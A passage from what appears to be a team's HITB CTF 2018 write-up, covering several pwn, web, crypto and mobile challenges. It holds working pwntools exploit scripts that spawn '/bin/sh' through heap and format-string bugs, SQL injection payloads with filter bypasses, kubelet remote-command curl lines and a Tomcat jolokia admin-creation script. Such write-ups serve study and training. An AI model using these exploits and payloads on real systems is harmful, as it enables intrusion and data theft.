= r.recvuntil('>', drop=True)libc = int(x, 16) - 0x6f690lib.address = libcprint hex(libc) # stage 1# overwrite bkr.sendline('2')ubin = libc + 0x3c4b70-8+0x10+8r.send(flat(0xdeadbeef, 0x101, 0xdeadbeef, ubin))r.sendlineafter('>', '1')# unlinkr.sendlineafter('>', '3') # ubin -> bss # stage 2#r.sendline('4')r.sendlineafter('>', '4')# alloc on bssr.sendlineafter('>', '1')r.sendlineafter('size:', str(0x100-8))# write bssstdout, stdin = libc+0x3c5620, libc+0x3c48e0binsh = libc+1625367payload = [ 0, lib.symbols['__free_hook'], # link list bk to overwrite free hook stdout, 0, stdin, 0, 0, binsh, # ptr containing "/bin/sh" [0]*10, # flags = 0]r.sendlineafter('>', '2')r.send(flat(payload))# we can edit1 again :), plus bk is on free hook# back to stage 1r.sendlineafter('>', '4') # ovewrite free_hookr.sendlineafter('>', '2')r.send(flat(lib.symbols['system'])) # stage 2r.sendlineafter('>', '4')# free(ptr) == system("/bin/sh")r.sendlineafter('>', '3') r.interactive() # HITB{this_is_the_xxxxxxx_flag}``` ### gundam (kevin47) #### Overview```Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled```There are 4 operations:1. Build a gundam2. Visit gundams3. Destroy a gundam4. Blow up the factory The structure of a gundam is:``` +---------+ |flag | 0x100 +---------+ +--------------------+ |name_ptr |---->| name | 0x28 +---------+ +--------------------+ |type(str)| | | | | +---------|```* An array of pointer to the gundam structure is on bss.* When a gundam is builded, the program malloc chunks of size 0x28 and 0x100 as shown above, set them properly, and store into the array of pointer on bss.* Visit gundams prints gundams' index, name and type that are not destroyed.* Destroy a gundam sets the flag to 0 and frees the name* Blow up the factory frees the gundam structures that flag are 0. #### Vulnerability* Read name without ending null byte, which can be used to leak.* Destroy a gundam does not clear the name_ptr, which leads to use after free (double free).* The program is running with libc-2.26, which implemented a new feature called tcache to improve performance. However, it does not perform any sanity check for performance's sake. That is, fastbin dup attack can be done anywhere any size without satisfying the size's contraint. #### Leak* Leaking libc addres will be a little bit more complicated than older versions of libc, since tache acts like fastbins and only have heap address on it.* However, tcache has a maximun of 7 chunks. By freeing more than 7 chunks, the remaining chunks will be treated as usual. That is, the chunks of size 0x100 will be at unsorted bins and small bins rather than tache, which contains libc address. #### Exploit* Leak libc and heap addresses.* Use fastbin dup attack to malloc a chunk on **&__free_hook**. Note that in older version of libc we have to `free(a); free(b); free(a);` to bypass double free check. But tache doesn't check, so it can be done simply by `free(a); free(a);`* Overwrite **__free_hook** to **system**. After that, Destroying a gundam with the name `/bin/sh`, which calls `free(name)` will be converted to `system("/bin/sh")` ``` python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('47.75.37.114', 9999)lib = ELF('./libc.so.6') def build(name, typee): r.sendlineafter('choice : ', '1') r.sendafter('gundam :', name) r.sendlineafter('gundam :', str(typee)) def visit(): r.sendlineafter('choice : ', '2') return r.recvuntil('1 . Build', drop=True) # double freedef destroy(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('Destory:', str(idx)) def blow_up(): r.sendlineafter('choice : ', '4') # leakfor i in range(9): build(chr(0x11*(i+1))*16, 0)for i in range(8): destroy(i)blow_up()for i in range(7): build(chr(0x11*(i+1)), 0)build('a'*8, 0)x = visit()xx = re.findall('0\] :(.*)Type\[0', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x811xx = re.findall('aaaaaaaa(.*)Type\[7', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3dac78lib.address = libcprint hex(heap)print hex(libc) # exploit# trigger double free libc 2.26 doesn't do any sanity check on tcache# libc 2.26 is awesome!!destroy(2)destroy(1)destroy(0)destroy(0)blow_up()build(flat(lib.symbols['__free_hook']), 0)build('/bin/sh\x00', 0)build(flat(lib.symbols['system']), 0)destroy(1) #embed()r.interactive() # HITB{now_you_know_about_tcache}``` ### d (kevin47) #### Overview```Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)```There are 3 operations:1. Read message2. Edit message3. Wipe message * On read message, we enter a base64 encoded string, the program decodes it and stores in the heap, with ending null byte* Edit message read `strlen(message)` bytes to the message.* Wipe message frees the message and clears the pointer #### Vulnerability* Base64 decode does not check the length properly. If we send `'YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ'` which is `base64encode('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')` without the ending `'=='`, the decoder miscalculates the length of the string, which leads to no ending null byte. Edit message then could be used to overwrite next chunk's size. #### Exploit* Use poinson null byte to create overlapped chunks.* Use fastbin dup attack to malloc a chunk on bss, where the pointers are.* We can overwrite the pointers, which leads into arbitrary memory write.* Change free@got to puts@plt, this enable us to leak libc address.* Change atoi@got to system. After this, when reading choice we can enter `/bin/sh`, which calls `atoi(buf)` that is `system('/bin/sh')` now.```python #!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('47.75.154.113', 9999) def new_msg(idx, content): r.sendlineafter('Which? :', '1') r.sendlineafter('Which? :', str(idx)) r.sendlineafter('msg:', content) def edit_msg(idx, content, pwn=0): r.sendlineafter('Which? :', '2') r.sendlineafter('Which? :', str(idx)) if pwn: r.sendafter('msg:', content) else: r.sendlineafter('msg:', content) def del_msg(idx): r.sendlineafter('Which? :', '3') r.sendlineafter('Which? :', str(idx)) def b64e(c): return c.encode('base64').replace('\n', '') def exp_new_msg(idx, content): b64 = b64e(content) if b64[-2] == '=': new_msg(idx, b64[:-2]) elif b64[-1] == '=': new_msg(idx, b64[:-1]) else: new_msg(idx, b64) # 40 & 41 are the magic numbers :)exp_new_msg(0, 'a'*40)new_msg(1, b64e('a'*0x203))new_msg(2, b64e('a'*0x100))edit_msg(1, flat( [0xdeadbeef]*28, 0xf0, 0x20, 0, 0, [0xaabbccdd]*30, 0x200, 0x120,)) # overflow 1's size (unsorted bin)del_msg(1)edit_msg(0, 'a'*40) new_msg(3, b64e('b'*0x100))new_msg(4, b64e('c'*0x60))del_msg(3)del_msg(2)# for fastbin attackdel_msg(4) # overlapped chunks, overwrite fastbin->fdnew_msg(5, b64e('d'*0x200))fast_bin_addr = 0x60216dedit_msg(5, flat( [0]*32, 0, 0x71, fast_bin_addr,)) new_msg(6, b64e('a'*0x60))# on bssnew_msg(60, b64e('A'*0x60))free_got = 0x602018strlen_got = 0x602028atoi_got = 0x602068puts_plt = 0x400770alarm_plt = 0x4007b0edit_msg(60, 'BBB'+flat(free_got, atoi_got, atoi_got, strlen_got)) # free -> putsedit_msg(0, flat(puts_plt))# free(1) == puts(atoi_got)del_msg(1)x = r.recvuntil('1. read')xx = x[8:14].ljust(8, '\x00')libc = u64(xx)-0x36e80system = libc + 0x45390print 'libc:', hex(libc) # strlen -> alarm to bypass read_n len restrictionedit_msg(3, flat(alarm_plt))# atoi -> systemedit_msg(2, flat(system)[:-1])r.sendline('/bin/sh') r.interactive() # HITB{b4se364_1s_th3_b3st_3nc0d1ng!}``` ### babypwn (how2hack) #### VulnerabilityA challenge with format string vulnerability without given binary. #### SolutionMy first intuition is to find the `.got.plt` section and overwrite something into `system`. As the binary has no PIE enabled (can find out by leaking some address out and you will notice there are a lot of address start with `0x40XXXX` or `0x60XXXX`), we can guess the `.got.plt` section is around `0x601000`. ```0x601000 0x202020600e200x601008 0x7fb6b46171680x601010 0x7fb6b44078700x601018 0x7fb6b409c6b00x601020 0x102020202020 # ????0x601028 0x7fb6b4094d800x601030 0x7fb6b4123d60```I was unable to leak `0x601020` for some reason.I try to leak the called functions as well.```0x4003c5 gets ?@0x4003ca stdin ?@0x4003d0 printf ?@0x4003d7 stdout ?@0x4003de stderr ?@0x4003e5 usleep ?@0x4003ea setbuf ?@0x4003f1 __libc_start_main ?@```Then I have to leak the libc version, but I am too lazy to do it so I try to find my local libc and check for the offset.```gets: 0x6ed80 (0x601028)printf: 0x55800 (0x601020)?usleep: 0xfdd60 (0x601030)```Now I understand why `0x601020` was unable to leak because of the null byte of its offset. I confirmed this by checking `0x601021` and I got this:```0x601021 0x7f3e9ac0d8 (end with '8', so the offset should be '800')```Finally, overwrite `printf` to `system` then we get the shell. #### Exploit```python#!/usr/bin/env python from pwn import * host = '47.75.182.113'port = 9999 r = remote(host, port) def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = '%' + str(result) + 'c' elif prev == word: result = 0 else: result = 256 - prev + word fmtstr = '%' + str(result) + 'c' fmtstr += '%' + str(index) + '$hhn' return fmtstr sleep(5) system_off = 0x45390printf_plt = 0x601020gets_plt = 0x601028gets_off = 0x6ed80 payload = '%7$s ' + p64(gets_plt)r.sendline(payload)gets = u64(r.recv(1000, timeout=1)[:6].ljust(8, '\x00'))print 'gets:', hex(gets) libc = gets - gets_offprint 'libc:', hex(libc) system = libc + system_offprint 'system:', hex(system) payload = ''prev = 0for i in range(3): payload += fmt(prev, (system >> 8 * i) & 0xff, 11 + i) prev = (system >> 8 * i) & 0xff payload += 'A'*(8 - (len(payload) % 8))payload += p64(printf_plt) + p64(printf_plt+1) + p64(printf_plt+2) r.sendline(payload) r.recv(1000)sleep(1) r.sendline('/bin/sh')r.sendline('cat flag')flag = r.recvline() log.success('FLAG: ' + flag)``````[+] Opening connection to 47.75.182.113 on port 9999: Donegets: 0x7f99aca0dd80libc: 0x7f99ac99f000system: 0x7f99ac9e4390[+] FLAG: HITB{Baby_Pwn_BabY_bl1nd}[*] Closed connection to 47.75.182.113 port 9999``` ## web ### Upload (bookgin) #### Find the targetFirst, we can upload some images to the server. With some manual tests, we found we can upload `.PHP` to the server, since `.php` is WAFed. Addiotionally, we notice that the server OS is running Microsoft IIS, so the filesystem is case-insensitive. Next, we have to dig how to access our webshell. We have no idea the directory name of the uploaded files. Therefore, the objective is very clear: retrieve the path name of the directory. It's Windows+PHP, so let's give this a try. Refer to [onsec whiltepaper - 02](http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf) page 5. I even write a post about this feature in [my blog](https://bookgin.github.io/2016/09/07/PHP-File-Access-in-Windows/) (in Chinese). #### Brute force the path and RCEHere is the brute script: ```python#!/usr/bin/env python3# Python 3.6.4import requestsimport stringsess = requests.session() name = ''while True: print(name) for i in string.digits + string.ascii_letters: guess = name + str(i) if 'image error' not in sess.get('http://47.90.97.18:9999/pic.php?filename=../' + guess + '%3C/1523462240.jpg').text: name += str(i) break``` We have RCE now. Next, we found the flag is in `../flag.php`, but some php useful function is disabled. A quick bypass is `highlight_file`. Here is the web shell:```phpuser->updateavatar($data)) quit('Something error!');} else{ //TODO!report it! $out="Your avatar is invalid, so we reported it".""; $report=$this->user->getreport(); if($report){ $out.="Your last report used email ".htmlspecialchars($report[2],ENT_QUOTES).", and report type is ".$report[3]; } include("templates/error.html"); if(!$this->user->report(1)) quit('Something error!'); die();} ``` Also, when insering a new report, it seems vulnerable to SQL injection. Unlike other edting features in the website, the email address here is not properly escaped through `addslashes()`. ```phpfunction report($type_id){ return $this->db->Insert("reports",array($this->id,"'$this->email'",$type_id));} ``` But how to trigger this error in order to create a new report? We have to make the test failed `file_exists($avatar)`. The `$avatar` is the filepath of our avatar, and the fiepath is `upload/[USERNAME].png`. In order to make the file somehow "disappeared", we can make avatar.filepath length limit `varchar(300)` in the SQL schema very long, because in the source code:```php$filename="uploads/".$this->user->getuser().".".$type;if(is_uploaded_file($_FILES['avatar']['tmp_name'])){ $this->user->edit("avatar",array($filename,$type));``` Simply register a user with username length 300, and the avatar.filepath will be truncated. Next, in order to exploit SQL injection, we have to bypass the email format regex check and another filter. #### Bypass WAFs ##### Email format regex check```phpif(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$value)) return false;``` Taking a closer look, we found it can be bypassed using double quotes. This is a valid email address `"', 17385)#'"@a.aa`. ##### Hacker Filter ```php$preg="\\b(benchmark\\s*?\\(.*\\)|sleep\\s*?\\(.*\\)|load_file\\s*?\\()|UNION.+?SELECT\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)|UPDATE\\s*(\\(.+\\)\\s*|@{1,2}.+?\\s*|\\s+?.+?|(`|\'|\").*?(`|\'|\")\\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|\'|\").*?(`|\'|\"))FROM(\\{.+\\}|\\(.+\\)|\\s+?.+?|(`|\'|\").*?(`|\'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";if(preg_match("/".$preg."/is",$string)){ die('hacker');} ``` This regex almost filters all the useful keywords in SQL. However, we note that the first character `b` in the regex, which means [word match](http://php.net/manual/en/function.preg-match.php#105924). Thus, we can just append a MySQL comment `/**/` to bypass the filter! #### Get the flag The payload will be like this. In order to creat a valid SQL query, the `#` is required to comment out the trailing `@a.aa` in the email address.```"', 12), (10272, (SELECT * FROM/**/ users), 9487)#"@a.aa``` So the raw SQL query in the server side becomes:```insert into reports (`...`, `...`) values (9453 , '"', 12), (10272, (SQLi PAYLOAD), 9487)#"@a.aa' , 1 )``` After retriving the table and column name using group_concat and information_schema, we are able to get the flag. Final payload: `"', 9453), (10272, (SELECT GROUP_CONCAT(fllllag_is_hhhhere) FROM/**/ fffflag_is_here), 9487)#"@a.aa` The flag is `HITB{2e9ular131mp0rt4nt}`. Refer to [SQL injection cheatsheet by pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) ### baby baby (bookgin) #### Recon The NMAP scanning result shows 3 ports are opened: - 80: HTTP + nginx- 9999: HTTP + nginx- 10250: HTTPS + unkownn backend First, the 80 port webserver is running PHP as backend. For the port 9999, it returns 403 forbidden when accessing the root. How about trying to access `index.php` ? To our surprise we got this: ```phpThis is a pentest challenge, open your mind! ``` Note that ther are 2 underscores. After wasting 2 hours on finding a way to exploit this backdoor, we think this direction is incorrect. It's just a troll. So how about the 10250 port? We use Dirbuster to brute force the filepath at a very low rate (2 request per second), to not affect other teams. Quickly it finds 2 intersting pages: - https://47.75.146.42:10250/metrics- https://47.75.146.42:10250/stats After Googling, this is related to kubelet API. Acctually, we can just Google the port number and found it. However we fotgot to do that...... It's really dumb to do directory name brute force. Another quick Google, we found the kubelet API is vulnerable to RCE. Refer to https://github.com/bgeesaman/hhkbe, page P.35. #### RCE - Get the info of running pods: `curl -sk https://47.75.146.42:10250/runningpods/`- RCE: `curl -sk https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d 'cmd=cat /flag.txt'` The flag is `HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}`. (The acronym of kubernetes is k8s) ### baby nya (bookgin) The hint: `the tomcat deployed jolokia.war` #### Exposed Jserv protocol 2 ports are open: - 8009: ajp13 Apache Jserv- 9999: nginx HTTP The 9999 port will only return `<h1>debug port for admin, you can just ignore the port.</h1>`. We trust him so we didn't dig it deeper. For the 8089 port, it exposes the Jserv protocol, we can set up a apache as a local proxy server to coonect tot the remote webserver. Refer to https://highon.coffee/blog/sleepy-ctf-walkthrough/#apache-tomcat-jserv-proxy-setup . A quick dive into the webserver, we found the jolokia API can be used. For the document, refer to https://jolokia.org/reference/html/protocol.html . #### Exploit the jolokia Refer to https://paper.seebug.org/552/ - List APIs : `/jolokia/list`- CreateAdmin Account and login: POST 3 jsons requests, Here is the script. You can use curl to send json request as well.```#!/usr/bin/env python3# Python 3.6.4import requestsimport jsonsess = requests.session() payload = { 'type':'EXEC', "mbean": "Users:database=UserDatabase,type=User,username=\"taiwannoooo1\"", #'mbean':'Users:database=UserDatabase,type=UserDatabase', 'operation':'addRole', #'arguments':['manager-gui'], 'arguments':['taiwannoooo1', 'TAIWAN', 'i_love_taiwan'],} response = sess.post('http://MY_SERVER_IP/jolokia', json=payload) response_json = json.loads(response.text)response_json = json.dumps(response_json, indent=2, sort_keys=True)print(response_json)print(response.status_code)```- Login to admin interface: `/manager/` The flag is displayed in the manager interace. `HITB{TOMCAT_TOMCAT_KAWAII}` ### baby fs (unsolved, written by bookgin, thanks to the organizer QQ group) **This writeup is from organizer QQ group (not IRC).** - The parameters: ip, permission, squash, path- Problem name: baby fs- HTML title: CFS With the knowledge above, one should know it's a NFS server. The page seems to update `/etc/exports` per key. Then, the ip parameter can accpeted ip range `1.2.3.4/24`, and it seems vulnerable to CRLF injection. The payload is `http://47.75.35.123:9999/?action=create&key=8ce29e523ed35f49c7eb38b63c91f269&ip=140.112.0.0%0A/%20*&permission=rw&squash=no_root_squash`. Then, listing the root directory through `http://47.75.35.123:9999/?action=list&key=8ce29e523ed35f49c7eb38b63c91f269&path=/` shows the flag. The flag is `HITB{---->}!}<0>cccc}`. I think this challenge requires some guessing. Until the competition ends, icchy (Tokyo westerns) is the only one who solves this challenge. Additionally, they solve it very quickly after the challenge releases. Congraz to them. They definitely have brorder knowledge! Update: According to Tokey Westerns' writeup, this problem seems to provide an output with more details when the organizer first releases the challenge, `/data/k989ug3pzj 127.0.0.1(rw,all_squash)`. However, the organizer seems to update this challenge during the competition. The output becomes `/data/k989ug3pzj`, which is less informational. I think the hint in the problem `bug fixed of baby fs on creating directory` explains this. They acctually "fixed" a hint. I don't think it's fair. ### 3pigs (unsolved, written by how2hack)#### Hint>1) this is web pwn>2) Go, I put everything there-----github>3) you can make the size of topchunk very small>4) https://github.com/thr33pigs/3pigs/tree/master/ctf>5) fix the flag #### Web Challenge? WutFaceYou can get the source code from the given Github link.The webserver using Flask(Python) as backend and connect to another server (which is the 3pigs binary).The vulnerabilities basically not related to web so I think the first hint make sense. >_>User uses this website to make actions and the webserver will communicate with the binary server and return the given responses to the user. #### First stage (Misc)Before checking the binary, I noticed that there is a kind of "flying pig" that needs a special `secret` code to be able to make it online.```[email protected]('/flypig.php', methods=['POST'])def flypig(): if not isadmin(session): return alert("Not Login!") try: secret = request.form.get('secret',None) secret = secret.decode("base64")[:0xc0] useflypig = getb(session).getpigs()[-1].status for i in 'UOTp%I()<>S': if i in secret: return 'Hacker' secret = secret.format("") except: return 'Input Error' ret = getb(session).flypig(secret,useflypig) if secret else "No Secret" if ret == 'Time Out': logout() return ret else: return ret```And from the binary, there is a `flypig()` function:```Cvoid flypig() { puts("secret:"); read_n_input(s1, 9); if ( unk_203090 || strncmp(s1, "UOTp%I<S", 8uLL) ) { puts("Error_4"); } else { unk_203088 = malloc(0x70uLL); unk_203090 = 1; puts("Success"); }}```Obviously, the `secret` code is `UOTp%I<S`.However, the webserver filtered all these characters, which means you can't use this function at all! (really?) #### Python Format String VulnerabilityI was wondering why `secret = secret.format("")` is in the code, so I try to Google it and I found http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/ about danger of Python Format String function, pretty interesting...The idea is, we can use the attribute of python `str` and also the format string feature to create the `secret` code.```>>> dir('')['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill'] >>> ''.__doc__"str(object='') -> string\n\nReturn a nice string representation of the object.\nIf the argument is a string, the return value is the same object." >>> ''.__doc__[77]'I'```Basically all the attribute itself has `__doc__`, so try to find every characters you need from `str` attributes. ```>>> secret = '{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}'>>> secret.format('')'UOTp%I<S'``` Payload: `{0.__getslice__.__doc__[56]}{0.count.__doc__[128]}{0.__new__.__doc__[0]}{0.count.__doc__[129]}{0.__mod__.__doc__[19]}{0.__class__.__doc__[77]}{0.__le__.__doc__[12]}{0.count.__doc__[0]}` #### Second stage (Pwn)``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```There are 5 functions:1. Add a pig (`malloc(0xc8)`, max=3)2. Free a pig (`free(pig)`, and set pointer to `'\0'`)3. Get pigs (Print out the info of all pigs)4. Flypig (A special pig that need a `secret` code, `malloc(0x70)`, can only use once, cannot be freed)5. Flying (Give "Flypig" 16 bytes data, can only use once) The structure of a normal pig:```+----------------+----------------+ <- current| | size(0xd0) |+----------------+----------------+| pig_name | (unused) |+----------------+----------------+| || data (0xb8) || || +----------------+ <- next | | topchunk_size |+----------------+----------------+``` #### Vulnerability* one-byte-off```Cvoid read_input(char* buf, int num) { v3 = read(0, buf, num); if ( v3 <= 0 ) { puts("Error_0"); exit(0); } if ( buf[v3 - 1] == '\n' ) buf[v3 - 1] = '\0'; else buf[v3] = '\0';}```From the read_input function, if we read `num` chars, then it will trigger one-byte-off vulnerability. Basically we can use this to overwite `topchunk` size (as the hint said). * Flying pig (overwrite next chunk first 16 bytes data)```Cvoid flypig() { ... flypig_addr = malloc(0x70); ...} void flying() { ... read_input((char *)(flypig_addr + 0x80), 16); ...}```Just as the pig's name, this pig can "fly" to next chunk and overwrite first 16 bytes (17 if one-byte-off) of the data. Can use this to overwrite freed `fd` and `bk`. ```+----------------+----------------+ <- flypig| | size(0x80) |+----------------+----------------+| || unused data (0x70) || |+----------------+----------------+ <- freed chunk | | size |+----------------+----------------+ <- flying() input| fd | bk |+----------------+----------------+``` #### Solution...? * Leak libc address There are 3 different pigs `Ke Gua`, `Red Boy`, `Small Li`.The `addpig()` function will use `strncpy(buf, pig_name, pig_name_len)` to copy pig's name to `pig_name`.Notice that `Small Li` is 8 bytes, so if we add this pig, we can leak the freed chunk `bk` pointer as no null byte will append after calling `strncpy`, then we can calculate libc address. * Leak heap address Using the one-byte-off vulnerability, we can overwrite the `top_chunk` size and caused `sysmalloc` to create a new heap.Then use the same method above to leak heap address. * ... I was unable to solve this challenge in time as I couldn't find a way to exploit. So close.... ## crypto ### easy\_block (sasdf)#### Vulnerability* We have a service to compute mac for any plaintext. ```python # must be delete! elif choice[0] == 'c': un = input('your username:>>') un = bytes(un, 'ISO-8859-1') print(sha256(mac_key + un).digest().hex()) ```* Unpad function doesn't check for valid padding that can trim more than 16 bytes. ```python def unpad(s): return s[0:-s[-1]] ```* Leak 17 bytes of decrypted message. ```python sha256(mac_key + plaintext).digest().hex()[-64:-30] ```* It check last 31.5 bytes of mac instead of whole string ```python sha256(mac_key + plaintext).digest().hex()[-63:] == hash.hex()[-63:] ``` #### Construct payloadSend `admin` as username, and we will get encrypted data of `adminuser`, modify the padding and trim off the suffix `user`. Use second and third blocks to construct a (48 - 5) bytes padding to avoid being affected by initial vector. #### Construct hashUse subroutine `c` to compute target hash. The initial vector is shared between payload and hash, we cannot modify the first 5 bytes because it will change our plaintext. Fortunately, padded message of hash is (32 + 16) bytes, and only last 31.5 bytes after unpad will be verified. So we can use ciphertext of `[5 bytes garbage][32 bytes hash]` as our mac, left first 5 bytes of initial vector unchanged. The ciphertext is constructed by xor previous block with desired plaintext and decrypted plaintext. ### easy\_pub (sasdf)```pythonbytes_to_long(b'\x00\xff') == bytes_to_long(b'\xff') == 255long_to_bytes(bytes_to_long(b'\x00\xff')) == b'\xff'```If we register with empty username, it will give us secret `admin_k` when we login. DONE. ### streamgamex (sasdf)Use first 24 bits of output as state. Run in reverse direction to get lower 24 bits of initial state (i.e. flag). Bruteforce first 17 bits that satisfy sha256 given in hint.```pythonmask = 0b10110110110011010111001101011010101011011for _ in range(24): lastbit = state & 1 state >>= 1 i = (state & mask) while i!=0: lastbit^=(i&1) i=i>>1 state|=(lastbit<<23) print('State: %s' % bin(state)[2:].rjust(24, '0'))state = bin(state)[2:].rjust(24, '0')``` ### base (how2hack)This challenge let user input one string and output the "encoded" string.Our goal is to decode the given string, which is the flag: `2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=` From the challenge name, I quickly think of base64 and other similar encoding algorithm. However I can't really tell how it works as it encodes the string totally different as the usual one. I try to spam some string and see what I can get, and I think Brute Forcing may help. Note: I try to scan through all the ASCII (256 possibilities), but after some tries I noted that the flag is only contains hex (16 possibilities). Here is the script how I attempt to brute force:```pythonflag = '2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU='possibilities = range(0x30, 0x3a) # 0-9possibilities.extend(range(0x61, 0x67)) # a-fchoose = ''while True: print flag for i in possibilities: r.sendline(choose+chr(i)) print r.recvline().strip() choose = raw_input().strip()``` Flag: `HITB{5869616f6d6f40466c61707079506967}` ```>>> '5869616f6d6f40466c61707079506967'.decode('hex')'Xiaomo@FlappyPig'```Hi Xiaomo :)... ## mobile ### kivy simple (sces60107) First I extract the `classes.dex` and try analyse the code. Eventually I found that this apk is using python. The python script is hidden in the `private.mp3` Though the scripts is compiled, you can use `uncompyle2`. Now we have the main.py```python=from kivy.uix.popup import Popupfrom kivy.app import Appfrom kivy.uix.label import Labelfrom kivy.uix.textinput import TextInputfrom kivy.uix.button import Buttonfrom kivy.uix.boxlayout import BoxLayoutimport binasciiimport marshalimport zlib class LoginScreen(BoxLayout): def __init__(self, **kwargs): super(LoginScreen, self).__init__(**kwargs) self.orientation = 'vertical' self.add_widget(Label(text='FLAG')) self.flag = TextInput(hint_text='FLAG HERE', multiline=False) self.add_widget(self.flag) self.hello = Button(text='CHECK') self.hello.bind(on_press=self.auth) self.add_widget(self.hello) def check(self): if self.flag.text == 'HITB{this_is_not_flag}': return True return False def auth(self, instance): if self.check(): s = 'Congratulations you got the flag' else: s = 'Wrong answer' popup = Popup(title='result', content=Label(text=s), auto_dismiss=True) popup.open() screen = LoginScreen()b64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'eval(marshal.loads(zlib.decompress(binascii.a2b_base64(b64)))) class MyApp(App): def build(self): return screen app = MyApp()app.run() ``` There is a second stage. But it is not difficult to understand. The following is the script to extract flag ```python=import zlibimport marshalimport disb64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'a=marshal.loads(zlib.decompress((b64).decode("base64"))) flag=["?"]*50 # initialize flag 